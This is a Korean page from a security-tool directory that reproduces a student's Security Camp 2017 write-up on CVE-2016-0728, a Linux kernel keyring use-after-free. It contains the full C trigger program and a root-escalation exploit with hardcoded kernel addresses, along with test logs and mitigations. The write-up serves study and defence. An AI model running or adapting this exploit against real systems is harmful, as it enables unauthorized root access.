Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2016-0728 — cve-2016-0728 익스플로잇 및 요약 | Kitploit
도구/GitHubGitHub/hal0taso/cve-2016-0728
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary ExploitationLabs & Practice
GitHubhal0taso/cve-2016-0728

CVE-2016-0728

cve-2016-0728 익스플로잇 및 요약

저장소 보기
19년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2016-0728

Seccamp 2017 과제

다음 프로그램은 Linux 커널 3.8~4.4에 존재하는 취약점을 악용하고 있습니다. 이 프로그램의 실행으로 인해 발생하는 문제점을 설명하십시오. 또한, 이 취약점을 더욱 악용하여 root 권한 상승을 수행하는 익스플로잇을 작성하고, 자신이 시도한 동작 환경이나 고려한 점 등을 설명하십시오. 추가로, 이러한 공격을 완화하는 대책 방법을 최대한 많이 제시하고 설명하십시오. 완전히 이해하지 못해도 괜찮습니다. 이해한 부분까지의 정보나 시행 과정, 느낀 점 등을 자신의 말로 기술하십시오. 또한 참고한 사이트나 문헌이 있다면 그 출처를 명시하십시오.

root@kitploit:~
#include <stddef.h>  
#include <stdio.h>  
#include <sys/types.h>  
#include <keyutils.h>  
 
int main(int argc, const char *argv[])
{
    int i = 0;
    key_serial_t serial;
 
    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
        perror("keyctl");
        return -1;
    }
 
    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
        perror("keyctl");
        return -1;
    }
 
    for (i = 0; i < 100; i++) {
        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
        if (serial < 0) {
            perror("keyctl");
            return -1;
        }
    }
 
    return 0;
}

Introduction

검증 환경은 다음과 같습니다.

root@kitploit:~
$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.5 LTS
Release:	14.04
Codename:	trusty

저는 이 취약점을 처음 알게 되었는데, 조사하여 알게 된 점과 그 과정에서 시도해본 것에 대해 기술합니다. 먼저, 이 프로그램에서 사용되는 키 저장 서비스에 대해, 그리고 이번 프로그램이 악용하는 Use-After-Free 취약점과 그것이 프로그램의 무엇 때문에 발생하는지 설명하고, 이로 인해 어떤 문제가 발생하는지에 대해 서술합니다. 이번 취약점은 CVE-2016-0728로 등록되어 있으며, 그 개요에 대해서는 다음 사이트를 참고했습니다.

http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/

또한, Linux의 키 저장 서비스에 대해서도 처음 알게 된 것이었기 때문에, IBM의 Linux 키 저장 서비스 입문 웹페이지

https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html

와 검증 환경인 Linux kernel 3.19의 소스 코드

https://www.kernel.org/

커널 메시지를 호스트 OS에 네트워크를 통해 보내는 데 DEBUG HACKS - 디버깅을 극대화하는 테크닉&도구(O'REILLY)

를 참고했습니다.

이 프로그램(이하 leak.c라고 부릅니다)은 Linux의 키 저장 서비스에 존재하는 버그를 악용하고 있으며, 이 버그로 인해 Use-After-Free 취약점으로 이어집니다. Use-After-Free 취약점이란, 프로그램의 불일치로 인해 해제된 힙 메모리 주소가 참조될 경우 임의의 코드가 실행 가능해지는 것입니다. 먼저, 이 프로그램이 사용하는 시스템 콜 keyctl()에 대해 설명하고, 거기에 어떤 버그가 존재하는지 기술합니다.

각 프로세스는 keyctl(KEYCTL_JOIN_SESSION_KEYRING, name)이라는 시스템 콜을 통해 현재 세션을 위한 프로세스별 키링을 생성할 수 있습니다. 이 키링은 그 이름 name을 참조함으로써 프로세스 간에 공유할 수 있습니다. 만약 프로세스가 이미 세션 키링을 가지고 있다면, 이 시스템 콜은 세션 키링을 새로운 키링으로 교체합니다. 여기서의 동작을 더 잘 알기 위해 커널 소스 코드의 /security/keys/process_keys.c에 있는 join_session_keyring 함수를 참조했습니다. 그것은 다음과 같은 프로그램으로 되어 있습니다. 세션 키링을 새로운 세션 키링으로 교체할 때 key_put이라는 함수를 스킵합니다. key_put 함수는 인수로 주어진 키링의 참조를 폐기하는 함수입니다. 그것을 스킵함으로써 새로운 키링에 대한 참조가 남은 상태가 되며, 이것이 Use-After-Free 취약점으로 이어집니다.

이 키링이 프로세스 간에 공유될 때, 구조체 key의 usage 멤버에 저장된 내부 참조 횟수가 증가합니다. usage 멤버는 atomic_t라는 타입인데, 이것은 실제로는 int형 변수 하나를 포함하는 struct의 typedef로 정의되어 있습니다. 또한, 이 usage 멤버의 오버플로를 방지하는 메커니즘이 없기 때문에, 이 멤버를 증가시킴으로써 오버플로하여 0이 될 때까지 참조할 수 있습니다. usage 멤버가 0이 되면, 키링 서브시스템 내부의 가비지 컬렉션에 의해 그 키링이 해제됩니다. 이 해제된 영역에 사용자 공간에서 다른 임의의 처리를 수행하는 커널 모듈을 배치함으로써 그 처리를 커널의 권한으로 실행할 수 있습니다.

참고한 사이트에서는 leak.c를 keyutils라는 라이브러리로 컴파일하여 실행하면 /proc/keys에 leaked_key라는 세션 키링이 등록되고 100번 참조된 것으로 표시됩니다. 이 프로그램을 실행하기 전후에 leaked-keyring이 다음과 같이 표시되는 것을 확인했습니다.

root@kitploit:~
# 실행 전
$ cat /proc/keys
$ ./leak
# 실행 후
$ cat /proc/keys
0fd435e9 I--Q---   100 perm 3f3f0000  1000  1000 keyring   leaked-keyring: empty

그러나 검증 환경에서는 leaked-keyring이 표시되지 않았습니다. 시험 삼아 for 루프의 조건문을 i < 0x1000000처럼 큰 수로 해보면, 프로그램 실행 중에는 leaked-keyring이 표시되었습니다. 이번에는 usage 멤버를 오버플로시켜 key를 해제하고 그곳에 새로운 커널 객체를 배치함으로써 공격이 성립합니다. 그래서 실제로 시도해보기로 했습니다. exploit 코드는 다음 사이트를 참고했습니다.

https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f

root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)

struct key_type {
    char * name;
    size_t datalen;
    void * vet_description;
    void * preparse;
    void * free_preparse;
    void * instantiate;
    void * update;
    void * match_preparse;
    void * match_free;
    void * revoke;
    void * destroy;
};

void userspace_revoke(void * key) {
    commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
	const char *keyring_name;
	size_t i = 0;
    unsigned long int l = 0x100000000/2;
	key_serial_t serial = -1;
	pid_t pid = -1;
    struct key_type * my_key_type = NULL;
    
struct { long mtype;
		char mtext[STRUCT_LEN];
	} msg = {0x4141414141414141, {0}};
	int msqid;

	if (argc != 2) {
		puts("usage: ./keys <key_name>");
		return 1;
	}

    printf("uid=%d, euid=%d\n", getuid(), geteuid()); 
    commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
    prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
    
    my_key_type = malloc(sizeof(*my_key_type));

    my_key_type->revoke = (void*)userspace_revoke;
    memset(msg.mtext, 'A', sizeof(msg.mtext));

    // key->uid
    *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
    //key->perm
    *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

    //key->type
    *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("msgget");
        exit(1);
    }

    keyring_name = argv[1];

	/* Set the new session keyring before we start */

	serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
	if (serial < 0) {
		perror("keyctl");
		return -1;
    }
	
	if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
		perror("keyctl");
		return -1;
	}


	puts("Increfing...");
    for (i = 1; i < 0xfffffffd; i++) {
        if (i == (0xffffffff - l)) {
            l = l/2;
            sleep(5);
        }
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    sleep(5);
    /* here we are going to leak the last references to overflow */
    for (i=0; i<5; ++i) {
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }

    puts("finished increfing");
    puts("forking...");
    /* allocate msg struct in the kernel rewriting the freed keyring object */
    for (i=0; i<64; i++) {
        pid = fork();
        if (pid == -1) {
            perror("fork");
            return -1;
        }

        if (pid == 0) {
            sleep(2);
            if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                perror("msgget");
                exit(1);
            }
            for (i = 0; i < 64; i++) {
                if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                    perror("msgsnd");
                    exit(1);
                }
            }
            sleep(-1);
            exit(1);
        }
    }
   
    puts("finished forking");
    sleep(5);

    /* call userspace_revoke from kernel */
    puts("caling revoke...");
    if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
        perror("keyctl_revoke");
    }

    printf("uid=%d, euid=%d\n", getuid(), geteuid());
    execl("/bin/sh", "/bin/sh", NULL);

    return 0;
}

실행 결과, 권한이 변화하지 않고 실행 사용자의 권한으로 셸이 실행되었습니다. 여기서 먼저 생각한 것은 자신의 환경이 업데이트되어 패치가 적용된 것은 아닌가 하는 점입니다. 이 취약점은 2016년 1월경에 발표된 것으로, 그때까지 자신의 환경은 업데이트를 수행했기 때문입니다. 그래서 한 번 새로운 가상 환경 내(kernel 3.18.52)에서 상수값을 변화시켜 시도해보았지만 잘 되지 않았습니다. 또한 SMAP이나 SMEP라는 메모리 보호 기구가 작동하면 exploit이 제대로 동작하지 않는다는 보고가 있었습니다. SMEP는 커널 모드에서 사용자 공간 주소의 코드 실행을 금지하고, SMAP는 커널 모드에서 사용자 공간 주소에 대한 액세스를 금지하는 보안 기구입니다. gist의 댓글에서는 kernel 3.18.25에서 uid가 0으로 기동되었지만 VM이 프리즈된다는 것이 여러 사람에 의해 검증된 코드가 있어서 그것을 시도해보기로 했습니다. 링크는 여기입니다(https://gist.github.com/hal0taso/47e9a1820d109bb7739321189f1c8830). 커널을 빌드하여(kernel 3.18.25) SMAP도 SMEP도 비활성화한 상태의 것에 대해 시도해보았습니다. 실행 환경은 다음과 같습니다. SMAP는 빌드 시 .config에서 비활성화했고, grub의 설정 파일(/boot/grub/grub.cfg)에서 SMEP도 비활성화했습니다.

root@kitploit:~
$ uname -r
3.18.25

이 환경에서 leak을 실행해보면 /proc/keys는 다음과 같이 되었습니다.

root@kitploit:~
$ cat /proc/keys
17990f68 I--Q---     1 perm 1f3f0000  1000 65534 keyring   _uid.1000: empty
3c04e61c I--Q---    14 perm 3f030000  1000  1000 keyring   _ses: 1
$ ./leak
$ cat /proc/keys
08054473 I--Q---   100 perm 3f3f0000  1000  1000 keyring   leaked-keyring: empty
17990f68 I--Q---     1 perm 1f3f0000  1000 65534 keyring   _uid.1000: empty
3c04e61c I--Q---    14 perm 3f030000  1000  1000 keyring   _ses: 1

실제로 참고한 사이트처럼 키링 객체가 확인됩니다. 그래서 exploit을 실행했더니 역시 여기서도 프로그램의 실행 사용자 권한으로 셸을 실행하고 있었습니다. 그래서 exploit을 watch 명령어로 /proc/keys를 0.1초 간격으로 모니터링해 보았더니, usage 멤버가 정확히 0이 되지 않는 경우(도중에 프로그램을 중단했을 때 생성된 키링과 같은 이름의 키링을 지정하여 exploit을 실행하면 오버플로 후에 다시 그 키링 객체의 usage 멤버가 증가했습니다)는 join_session_keyring이 새로운 키링 객체를 생성하고 있다는 것을 알 수 있었습니다. 따라서 참조 카운터는 정확히 0이 되도록 조정하지 않으면 키 객체가 해제되지 않는다고 생각했습니다. 참조 카운터가 0이 되었을 때 확실히 키링 객체가 보이지 않게 되어 해제되었다고 생각됩니다. 몇 번 계속 실행하다 보면 root는 획득(uid=0, euid=0)했지만 그 직후 커널 패닉을 일으켜 VM이 프리즈되는 것까지 확인했습니다.

root@kitploit:~
$ ./exploit PP_KEY
uid = 1000, euid = 1000
[+] increfs...
[+] finish increfs
[+] fork...
exploit...
uid = 0, euid = 0
Killed

그래서 커널 메시지를 netconsole을 통해 호스트 OS로 전송하여 로그를 읽어보았는데, commit_creds나 kernel_prepare_cred 같은 상수값의 주소로 검색해 보았지만 해당하는 부분은 발견되지 않았습니다. 결국 root를 탈취하여 셸을 실행시키는 것은 성공하지 못했습니다.

이상으로부터 이 취약점을 이용한 공격에 대해서는 SMAP이나 SMEP 같은 CPU의 커널 보호 기구를 유효하게 해 두면 공격을 어렵게 하는 것이 가능합니다. 또한 취약점이 공개되고 얼마 후 각 배포판에서 패치를 포함한 커널 업데이트가 제공되므로 그 업데이트를 적용함으로써 공격을 막을 수 있습니다. 이 취약점에 대해 조사하는 도중에 kernel 3.18.52에서 PoC 코드를 실행했을 때 /proc/keys를 모니터링하면 키링 객체의 usage 멤버가 증가와 감소를 반복했기 때문에 커널 3.18.25에서 3.18.52 사이에 키링 관련 코드나 join_session_keyring 함수에서 사용되는 abort_creds 함수가 변경되어 참조 카운터(여기서는 usage 멤버)를 증가시키는 메커니즘이 바뀌었나 하는 생각이 들었습니다. 왜냐하면 참고 사이트에서는 참조 카운터 usage가 join_session_keyring 중에 2번씩 증가·감소되며, 그중에서 abort_creds가 usage 멤버를 비동기적으로, RCU 작업이라는 처리 후에 참조 카운터의 감산 처리를 수행하는 것이 중요하다고 쓰여 있었기 때문입니다.

이 취약점에 대해 조사했을 때는 일반 사용자에서 특권 사용자로 권한 상승이 가능하다는 사실에 놀라움과 함께 불안도 있었지만, exploit의 PoC 코드를 검증하거나 조사하는 과정에서 공격자는 커널 버전도 특정해야 하고 SMEP나 SMAP가 유효한 경우에는 그 바이패스도 수행해야 하며, 확실히 성공한다고 할 수 없고 실패하면 커널 패닉을 일으켜 공격이 발각되는 등 공격자에게는 그다지 유리하지 않은 점이 많다는 것을 알게 되어 실제로 공격 기법으로 유용한가에 의문을 가지게 되었습니다.

도구 다운로드